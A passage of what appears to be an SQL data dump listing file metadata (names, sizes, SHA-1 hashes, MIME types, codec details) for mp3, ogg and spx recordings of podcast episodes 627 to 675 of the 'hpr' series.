(627,'hpr0627.ogg','ogg',18898363,'390639153284fca6b60acfcdb134a0859933a8e4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(627,'hpr0627.spx','spx',6907693,'4ec4e980f9c5347e757206dac47d797a280a1b63','application/ogg; charset=binary','Ogg data, Speex audio'),
(628,'hpr0628.mp3','mp3',6728400,'6a5f431effbbf4b302d2993fb598640531526fbd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(628,'hpr0628.ogg','ogg',9994284,'7b47d0b1bd7264a655315e043bbde8693003989a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(628,'hpr0628.spx','spx',3089323,'848240bdd34714cbeda48b4b6387a5381561605d','application/ogg; charset=binary','Ogg data, Speex audio'),
(629,'hpr0629.mp3','mp3',31142871,'5fbf5edcbff14736b41669ea23759f32d8205b4a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(629,'hpr0629.ogg','ogg',18045219,'0bad473f3f16d0802a15d09cf9ccfc747c035e15','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(629,'hpr0629.spx','spx',6954605,'bc60f6f3bb8698fe66dca5b9f18500309e8d5120','application/ogg; charset=binary','Ogg data, Speex audio'),
(630,'hpr0630.mp3','mp3',14801388,'4e11a4069490144fb33b3657a36c47033d53cd83','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(630,'hpr0630.ogg','ogg',17453875,'3fd530da28f7c9ca68d4936714917b69a478421a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~140000 bps, created by: Xiph.Org libVorbis I'),
(630,'hpr0630.spx','spx',3305402,'a2d3b4c49fe94c948da7fd6a0697848b3a7d8109','application/ogg; charset=binary','Ogg data, Speex audio'),
(631,'hpr0631.mp3','mp3',15479446,'e71b6b65aba3a48d17d00916dd51e3ee553925d8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(631,'hpr0631.ogg','ogg',13937342,'8f505f1b6c57d9f4a991a91e6ff8212cf73d1894','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(631,'hpr0631.spx','spx',4608882,'5d86784d8265c26b530ebb91107d02e738ff2253','application/ogg; charset=binary','Ogg data, Speex audio'),
(632,'hpr0632.mp3','mp3',11393152,'801ae68fccec4f3ac31c195c399544f591f1f067','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(632,'hpr0632.ogg','ogg',8144758,'002af9dcb753ffd71996136de2390c318770b441','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I (1.1.0 RC1)'),
(632,'hpr0632.spx','spx',2615913,'ca8877431fab20431abdd696e110042588ac9886','application/ogg; charset=binary','Ogg data, Speex audio'),
(633,'hpr0633.mp3','mp3',22069019,'e078a9dbbb7fd0aa853086cc829aab876318e563','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(633,'hpr0633.ogg','ogg',14499490,'ee325148ffe7f0f405c3eb74319de9321713907e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(633,'hpr0633.spx','spx',5067325,'5fb50386f242e8bc5a7dfcc29be8d9e9281df6bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(634,'hpr0634.mp3','mp3',6721021,'b38255375de934427fd7a38282c500c41bb58597','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(634,'hpr0634.ogg','ogg',5349464,'35b8cd32e30d6c72abffba8e8aabf6eca6a17291','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~35333 bps, created by: Xiph.Org libVorbis I'),
(634,'hpr0634.spx','spx',5702163,'892d544494f494ec760c110fc38e5d127c1b5ade','application/ogg; charset=binary','Ogg data, Speex audio'),
(635,'hpr0635.mp3','mp3',13971859,'d33895f45b6017b2887b6e779566be38827cbd05','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(635,'hpr0635.ogg','ogg',9369585,'174279799c16300b2f2dc216e086fbff8bdc6b80','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(635,'hpr0635.spx','spx',3208264,'264d8984a13be46f59d958d70450379acfca043b','application/ogg; charset=binary','Ogg data, Speex audio'),
(636,'hpr0636.mp3','mp3',26550630,'66bc1c2150beb117364a6e3c4d48ffb9ef9114a3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(636,'hpr0636.ogg','ogg',32284327,'05b7dac6f017e63472bbf32179fcd4fe95c3b3fe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~140000 bps, created by: Xiph.Org libVorbis I'),
(636,'hpr0636.spx','spx',5920662,'b0674463db6fa6ee235591a4decabc2085b9132d','application/ogg; charset=binary','Ogg data, Speex audio'),
(637,'hpr0637.mp3','mp3',11391422,'ccc31ab13f2e4ec02efe197feb6a596739a5e83d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(637,'hpr0637.ogg','ogg',16590718,'ad262130f823ab2d9ac9c5ac4c7ff80d11a65877','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(637,'hpr0637.spx','spx',5230755,'4dae69af0ee8a3c673807ca53d6ae1d1d4911aeb','application/ogg; charset=binary','Ogg data, Speex audio'),
(638,'hpr0638.mp3','mp3',6550472,'2aa034f4dbb855a1ca688cbb04d7699f8ee99738','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(638,'hpr0638.ogg','ogg',5125462,'2c4ed32e0a267c79b64aa5d75f033d10413f4e82','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~35333 bps, created by: Xiph.Org libVorbis I'),
(638,'hpr0638.spx','spx',5472228,'3e6345c4adbe5a48d3a605121fb68bb2d1ea146c','application/ogg; charset=binary','Ogg data, Speex audio'),
(639,'hpr0639.mp3','mp3',2038748,'ed9e9b38652cc9857e602c6e433560c81990e14c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(639,'hpr0639.ogg','ogg',4034756,'b41e3428d6eddb82a3e6644029b1b1a47c5e2f9c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(639,'hpr0639.spx','spx',935863,'be69bf5d62100f155bffc84ad479a7be59a35e66','application/ogg; charset=binary','Ogg data, Speex audio'),
(640,'hpr0640.mp3','mp3',19075072,'f05943353532f5f2c71ea78294dd68db2d5dc9c6','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(640,'hpr0640.ogg','ogg',12231650,'01fb69b51bebf4de3fb63e65682e84c0a7b81879','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(640,'hpr0640.spx','spx',4379644,'a438d2894caff5bf88caebcb70f35cb7a4a6a6ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(641,'hpr0641.mp3','mp3',6038474,'2c03c5458a3a6c8179e3ee709483e83f17c12e53','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(641,'hpr0641.ogg','ogg',4563898,'db337ff98615b90f3d3d9eb7eeaa0da623afafb6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~35333 bps, created by: Xiph.Org libVorbis I'),
(641,'hpr0641.spx','spx',4663352,'78fff5eee948376bcb41ba5bca9947cd7ccf7b69','application/ogg; charset=binary','Ogg data, Speex audio'),
(642,'hpr0642.mp3','mp3',18109853,'11740de9c67217a10ecfce0d5d25c68013cc5b78','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III,  v2.5,  64 kbps, 11.025 kHz, JntStereo'),
(642,'hpr0642.ogg','ogg',10766671,'112145b0178bef9460708b49c93b78d3680db443','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 11025 Hz, ~44600 bps, created by: Xiph.Org libVorbis I'),
(642,'hpr0642.spx','spx',8315297,'849760640bc718939ff85a1cabcaca1407d11aed','application/ogg; charset=binary','Ogg data, Speex audio'),
(643,'hpr0643.mp3','mp3',11948160,'eefbf2af08d51f44574454bd5a5d9c533c72bf02','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(643,'hpr0643.ogg','ogg',8579538,'f84253961bb41b9b7092c6f82442c73fb14f61d8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I (1.1.0 RC1)'),
(643,'hpr0643.spx','spx',2743157,'9da777773ff12f8a46f3b5d0eae7880633159d0b','application/ogg; charset=binary','Ogg data, Speex audio'),
(644,'hpr0644.mp3','mp3',11708416,'d19a7753f64e5b07504ea36fbfedea1c94b3f1e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(644,'hpr0644.ogg','ogg',8934587,'3a0cb6a920e7913493d414f45b033c7a5d78f131','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(644,'hpr0644.spx','spx',2686164,'3339c54568334c2f900b56f52f10c156a61d19e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(645,'hpr0645.mp3','mp3',20344132,'ac545afcd3645f0162ce5871368e321c129f2290','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2, 128 kbps, 16 kHz, JntStereo'),
(645,'hpr0645.ogg','ogg',7280251,'d53c2676b11619144a1af865189678b4ffa3441f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(645,'hpr0645.spx','spx',4658858,'7e7d57cabf57f851a9b3916fdb02487e6b0637f7','application/ogg; charset=binary','Ogg data, Speex audio'),
(646,'hpr0646.mp3','mp3',25657993,'dfb837543e3a6d1925adf43a8922cb54243cdcd0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(646,'hpr0646.ogg','ogg',17531546,'e383ee1498aa410d1fd317c4a381a8a5aa6fab7c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(646,'hpr0646.spx','spx',5891767,'680e980c0ebed945dd47311907945bb2f6f6f3f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(647,'hpr0647.mp3','mp3',19541882,'a08d6ed65a8929a0483c5678c763c5ffc522adc1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(647,'hpr0647.ogg','ogg',9616378,'10f3e99e4529c7d44480c03c2178bd2055c646c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(647,'hpr0647.spx','spx',5818489,'89f79da9ae478e5db901c444170a6a49111be7a4','application/ogg; charset=binary','Ogg data, Speex audio'),
(648,'hpr0648.mp3','mp3',1956499,'ca02dd70105d0ceb44f7a52428ec567cbf815911','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(648,'hpr0648.ogg','ogg',2143396,'de92b8dc13ee357529a3435353053a172564d72a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(648,'hpr0648.spx','spx',873902,'91db8a872ef05f0cc2d75198ce692d2800439b40','application/ogg; charset=binary','Ogg data, Speex audio'),
(649,'hpr0649.mp3','mp3',25821806,'bce9e9b4b6cbee6ed77d0aba0c09c43ef3ca0a8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(649,'hpr0649.ogg','ogg',16919993,'5c473dc9c3fb32ab6e2c1f2096caa019aeb46a83','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(649,'hpr0649.spx','spx',5929051,'2db84e400ca395bffbde9b89db7fc7efd2da90ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(650,'hpr0650.mp3','mp3',8772361,'fe0fd5dd9acdda3ce57a657645a9b6b0547bbbb2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 32 kHz, JntStereo'),
(650,'hpr0650.ogg','ogg',13171972,'de1fa720877973b8075ee692d1250be784c8e1a7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~150000 bps, created by: Xiph.Org libVorbis I'),
(650,'hpr0650.spx','spx',4027844,'f4233dce97f6e38222ebc41dd0120f6d8f45806c','application/ogg; charset=binary','Ogg data, Speex audio'),
(651,'hpr0651.mp3','mp3',29775872,'0235c55fbc2993009684143b171c5ee4f39ca0ba','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(651,'hpr0651.ogg','ogg',16427594,'a0aaee229830d272d2defb53f2028daf4ff791b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(651,'hpr0651.spx','spx',6649358,'bc0f1382e67ef3bdaf1deba47b22466a85384caf','application/ogg; charset=binary','Ogg data, Speex audio'),
(652,'hpr0652.mp3','mp3',23048956,'6cfe2bf2dd6e22167c1a05be470badbde55cadf8','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(652,'hpr0652.ogg','ogg',19133179,'b93a4ba40ab57846c840453b7c168435f17103ae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(652,'hpr0652.spx','spx',10294090,'2923a5cd4f6996077e4f35b4e77087271cf98cb0','application/ogg; charset=binary','Ogg data, Speex audio'),
(653,'hpr0653.mp3','mp3',31098392,'495a68701de061e2526bc21e637c01e25d5db3bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  96 kbps, 22.05 kHz, JntStereo'),
(653,'hpr0653.ogg','ogg',16678140,'517c51de2ceff4894228f9e692ad8b41638d2656','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(653,'hpr0653.spx','spx',9518906,'fad5bbe3d3df7165796c1196265a5c392fad8bdb','application/ogg; charset=binary','Ogg data, Speex audio'),
(654,'hpr0654.mp3','mp3',3183628,'b4638f44ba07b2714077f85cc3dd7df05a40403d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(654,'hpr0654.ogg','ogg',3187207,'d166748571a9e2b04acf120e22e30153fed8977f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(654,'hpr0654.spx','spx',1421982,'33104f0fd2bc5fb6b13e624b4b3c76e804a41445','application/ogg; charset=binary','Ogg data, Speex audio'),
(655,'hpr0655.mp3','mp3',24556261,'3088d3d4b3ceffbda187d62850df29f80b20f4e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(655,'hpr0655.ogg','ogg',17066845,'bf76af93519a3e2705fd9cfe4136ec65c3f23b2b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(655,'hpr0655.spx','spx',5638861,'f90ff5c4e697a6361a680485f24aa87d79b4db01','application/ogg; charset=binary','Ogg data, Speex audio'),
(656,'hpr0656.mp3','mp3',8260509,'b99913ec7558ccb24301cb7d35d77a1a3e44d375','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(656,'hpr0656.ogg','ogg',5120090,'ec888fec41d547f909152ccf3b1caabbc5b37f6f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(656,'hpr0656.spx','spx',1894523,'e44162b9e5ef7cf5e27fff0096d772af4dc8b98a','application/ogg; charset=binary','Ogg data, Speex audio'),
(657,'hpr0657.mp3','mp3',5072222,'15e8cadd5afa00105855f6aca25f002b920b8249','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(657,'hpr0657.ogg','ogg',3427397,'b7c1662d67a94dcfb8c8e7257fbe7488f77716c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(657,'hpr0657.spx','spx',1510442,'5441c35e395300145e6f2c556ea5b245cba564b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(658,'hpr0658.mp3','mp3',15253755,'0afb963359ba4448672bb37bd8f954bf753661a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(658,'hpr0658.ogg','ogg',50652827,'a5552973ab8482eaae636037caa8354c9fb8eddc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~256000 bps, created by: Xiph.Org libVorbis I'),
(658,'hpr0658.spx','spx',7004328,'2ff83bc40ed83e43ba07f867365c0b3cca6cf68c','application/ogg; charset=binary','Ogg data, Speex audio'),
(659,'hpr0659.mp3','mp3',45715011,'a035dbfb16418f7ffaa020c00238fb4c5416cb99','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(659,'hpr0659.ogg','ogg',32448165,'de44155c4d84eec24d491e2e7d26b2ee0dc3a2f3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(659,'hpr0659.spx','spx',13608712,'9e8d9eb2d6abed12ee6988cf7bc5c777feacf76b','application/ogg; charset=binary','Ogg data, Speex audio'),
(660,'hpr0660.mp3','mp3',10618541,'f930fbfe0cdb95642a7fa36750619c84ce090eeb','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(660,'hpr0660.ogg','ogg',9526742,'94089788532d9747dd7531ad217b165bdfd66844','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(660,'hpr0660.spx','spx',4039400,'e6a016ebea203cff5b484b4ca959f22f1cca0c87','application/ogg; charset=binary','Ogg data, Speex audio'),
(661,'hpr0661.mp3','mp3',3440099,'2e0ba2a400ba67d0f19816da34404674ad04df2d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(661,'hpr0661.ogg','ogg',2613296,'80ff91e36aec4e46e48c069364c0966320212bbc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(661,'hpr0661.spx','spx',790094,'e79f9ea6ffb4cbacee2172fddaea93fcf3795f76','application/ogg; charset=binary','Ogg data, Speex audio'),
(662,'hpr0662.mp3','mp3',11468800,'4d33cde1f3ab02921ce9e1ed5b43e4ea1f62c7a0','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, JntStereo'),
(662,'hpr0662.ogg','ogg',12433240,'0705f595d1af7e2ba80e568401e0551e774cb978','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(662,'hpr0662.spx','spx',4731895,'a1f742c40c456c6bc4422d6b837f09408ce20261','application/ogg; charset=binary','Ogg data, Speex audio'),
(663,'hpr0663.mp3','mp3',9250944,'49bfa4684e0131280fb130af39b530d9bf031082','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(663,'hpr0663.ogg','ogg',10496953,'c451f62c95f92651fb22fb27c3ea40adc3de3d3e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(663,'hpr0663.spx','spx',4624985,'c86099d32fd1ae8a43bc87a6ecf7ee76660d5931','application/ogg; charset=binary','Ogg data, Speex audio'),
(664,'hpr0664.mp3','mp3',29437378,'77949f3840625b21e9019c04724c70aed7ec1f46','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(664,'hpr0664.ogg','ogg',17743225,'ce1727c13219b5366f8cfce7dbdd5daf78e21685','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(664,'hpr0664.spx','spx',8765523,'3884573eee70deac3b539f88f1891b94308852df','application/ogg; charset=binary','Ogg data, Speex audio'),
(665,'hpr0665.mp3','mp3',19534254,'48e935b7b1c9bddb56a3aeb2777bcbf2202cb326','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Stereo'),
(665,'hpr0665.ogg','ogg',17000920,'13b1eb1eeeb13f88bdffbe4412a1adca6699e9b9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(665,'hpr0665.spx','spx',8970510,'c25332ff6599d508011316f72e64473373f5ed79','application/ogg; charset=binary','Ogg data, Speex audio'),
(666,'hpr0666.mp3','mp3',14895232,'722223bab9cd32c9c29f5c2cc21c193f21589836','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(666,'hpr0666.ogg','ogg',16630741,'57b6c1b5b24c71d1fae200a0028ebc9239c2e3e1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(666,'hpr0666.spx','spx',7374357,'18987b1295cfffc137517dcb3532c7c955745ddb','application/ogg; charset=binary','Ogg data, Speex audio'),
(667,'hpr0667.mp3','mp3',3426099,'b9934d71ebc86dbd0cc73979d4801c2c1c8472e2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(667,'hpr0667.ogg','ogg',6985023,'3c9d680a46fe71e78390d70f482a9ebf4cc05503','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(667,'hpr0667.spx','spx',1572892,'c2463dc1ac3062f1785a8be806898c47a38d6cb9','application/ogg; charset=binary','Ogg data, Speex audio'),
(668,'hpr0668.mp3','mp3',19916483,'3202d43349a8f776a77a41e953e5009945eb391e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(668,'hpr0668.ogg','ogg',14433364,'302cd327d579cda5b7d67200ce8ce4b4820a6646','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(668,'hpr0668.spx','spx',4573189,'16d4aa7cf8afff0d87d91270954fefdec4f6c8a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(669,'hpr0669.mp3','mp3',22152982,'2380aa554c16aa687bd7be9c80845ef471a5dd20','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(669,'hpr0669.ogg','ogg',19634841,'addd1cbd990ea1657d6e8d5dde80f92d21509b4a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(669,'hpr0669.spx','spx',9885284,'f508ffa148040deae7fd4e2eef6df48723ef08a8','application/ogg; charset=binary','Ogg data, Speex audio'),
(670,'hpr0670.mp3','mp3',6387254,'a289f5d69c7a10855edb54f011a992f0ceb59ec6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(670,'hpr0670.ogg','ogg',7609075,'fea6d6998cd0ccde33cdd60d726d565c60bdd09b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(670,'hpr0670.spx','spx',2346780,'f994f102f26eb0ebcb9c7ad636da06a1c9977edd','application/ogg; charset=binary','Ogg data, Speex audio'),
(671,'hpr0671.mp3','mp3',11522331,'764482a07c8c14789b8359de8c105abd39246488','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(671,'hpr0671.ogg','ogg',19213507,'091a985bc0392e8a30fa06ea84f51dd2fadab29e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(671,'hpr0671.spx','spx',5291173,'30bdbfb54392c253dcb9f6a833e5fc0ce0bfd84a','application/ogg; charset=binary','Ogg data, Speex audio'),
(672,'hpr0672.mp3','mp3',10362570,'9554ba2f91209f9b6593b75c31dc94655a1e479a','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0'),
(672,'hpr0672.ogg','ogg',15921227,'100d8b7be18b3eadaf1823bd58c2628a16e4a924','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(672,'hpr0672.spx','spx',4100280,'af5249b7de3fc7659751bd3ea78b26c61540ead6','application/ogg; charset=binary','Ogg data, Speex audio'),
(673,'hpr0673.mp3','mp3',17090688,'defcfdabf2430fbb640dc766f090c25c59fce1ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(673,'hpr0673.ogg','ogg',11828692,'9456825eff51eae5128429671e45b124a099070d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(673,'hpr0673.spx','spx',3924015,'d39ae95fa01371cfec3617dc2c5e33ebaccb860f','application/ogg; charset=binary','Ogg data, Speex audio'),
(674,'hpr0674.mp3','mp3',15303323,'4be2c5a5656ade526a9bbd886fe053272d151c14','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(674,'hpr0674.ogg','ogg',12203092,'71a40de07e6f2767b348d23079988e6794a933b1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(674,'hpr0674.spx','spx',3513869,'257c56e99b9d56abefc55b0ea182038be5cf364a','application/ogg; charset=binary','Ogg data, Speex audio'),
(675,'hpr0675.mp3','mp3',7479674,'88b2bd0fcf322e4d0fb97953d92dcbd016c81b72','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(675,'hpr0675.ogg','ogg',7983688,'38909187561125094943a955fb487af9502f8fdb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
